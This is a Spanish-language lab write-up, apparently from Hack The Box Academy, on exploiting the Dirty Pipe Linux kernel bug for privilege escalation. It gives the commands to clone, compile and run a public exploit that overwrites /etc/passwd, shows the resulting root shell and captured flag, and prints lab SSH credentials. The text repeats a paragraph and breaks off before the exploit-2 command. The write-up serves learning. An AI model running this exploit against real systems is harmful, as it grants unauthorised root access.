Una vulnerabilidad en el kernel de Linux, denominada ( ), permite la escritura no autorizada en archivos de usuarios root en Linux. Técnicamente, la vulnerabilidad es similar a la vulnerabilidad descubierta en 2016. Todos los kernels desde la versión 5.8 hasta 5.17 están afectados y son vulnerables a esta vulnerabilidad.
En términos simples, esta vulnerabilidad permite a un usuario escribir en archivos arbitrarios siempre que tenga acceso de lectura a dichos archivos. También es interesante señalar que los teléfonos Android también se ven afectados. Las aplicaciones de Android se ejecutan con derechos de usuario, por lo que una aplicación maliciosa o comprometida podría tomar el control del teléfono.
Esta vulnerabilidad se basa en tuberías o pipes (de ahí su nombre). Las tuberías son un mecanismo de comunicación unidireccional entre procesos que son especialmente populares en los sistemas Unix. Por ejemplo, podríamos editar el archivo /etc/passwd y eliminar la solicitud de contraseña para el usuario root. Esto nos permitiría iniciar sesión con el comando su sin la solicitud de contraseña.
Para explotar esta vulnerabilidad, necesitamos descargar un y compilarlo en el propio sistema de destino o en una copia que hayamos hecho.
Importante: Debemos compilar siempre los ejecutables en LA MÁQUINA OBJETIVO
1. Descargar Exploit de Dirty Pipe
cry0l1t3@nix02:~$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cry0l1t3@nix02:~$ cd CVE-2022-0847-DirtyPipe-Exploits
cry0l1t3@nix02:~$ bash compile.sh
Después de compilar el código, tenemos dos exploits diferentes disponibles. La primera versión del exploit ( exploit-1) modifica el /etc/passwdy nos da un mensaje con privilegios de root. Para esto, necesitamos verificar la versión del kernel y luego ejecutar el exploit.
2. Verificar la versión del kernel
cry0l1t3@nix02:~$ uname -r
5.13.0-46-generic
3. Explotación
cry0l1t3@nix02:~$ ./exploit-1
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)
id
uid=0(root) gid=0(root) groups=0(root)
Con la ayuda de la segunda versión del exploit ( exploit-2), podemos ejecutar binarios SUID con privilegios de root. Sin embargo, antes de poder hacerlo, primero debemos encontrar estos binarios SUID. Para ello, podemos utilizar el siguiente comando:
SSH a 10.129.177.59 (ACADEMY-LLPE-DIRTY)
Usuario "htb-student"
Contraseña "HTB_@cademy_stdnt!"
Aumente los privilegios y envíe el contenido de flag.txt como respuesta.
Al acceder por SSH no enocntramos archivos relevantes ni tenemos permisos de ejecución en la máquina:
htb-student@ubuntu:~$ ls
htb-student@ubuntu:~$ sudo -l
[sudo] password for htb-student:
Sorry, user htb-student may not run sudo on ubuntu.
Al verificar la versión del Kernel vemos que es vulnerable a Dirty Pipe, ya que todos los kernels desde la versión 5.8 hasta 5.17 están afectados y son vulnerables a esta vulnerabilidad.:
htb-student@ubuntu:~/CVE-2022-0847-DirtyPipe-Exploits$ ./exploit-1
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
cd /root
ls
flag.txt snap
cat flag.txt
HTB{D1rTy_DiR7Y}
Exploit 2
Con la ayuda de la segunda versión del exploit ( exploit-2), podemos ejecutar binarios SUID con privilegios de root. Sin embargo, antes de poder hacerlo, primero debemos encontrar estos binarios SUID. Para ello, podemos utilizar el siguiente comando: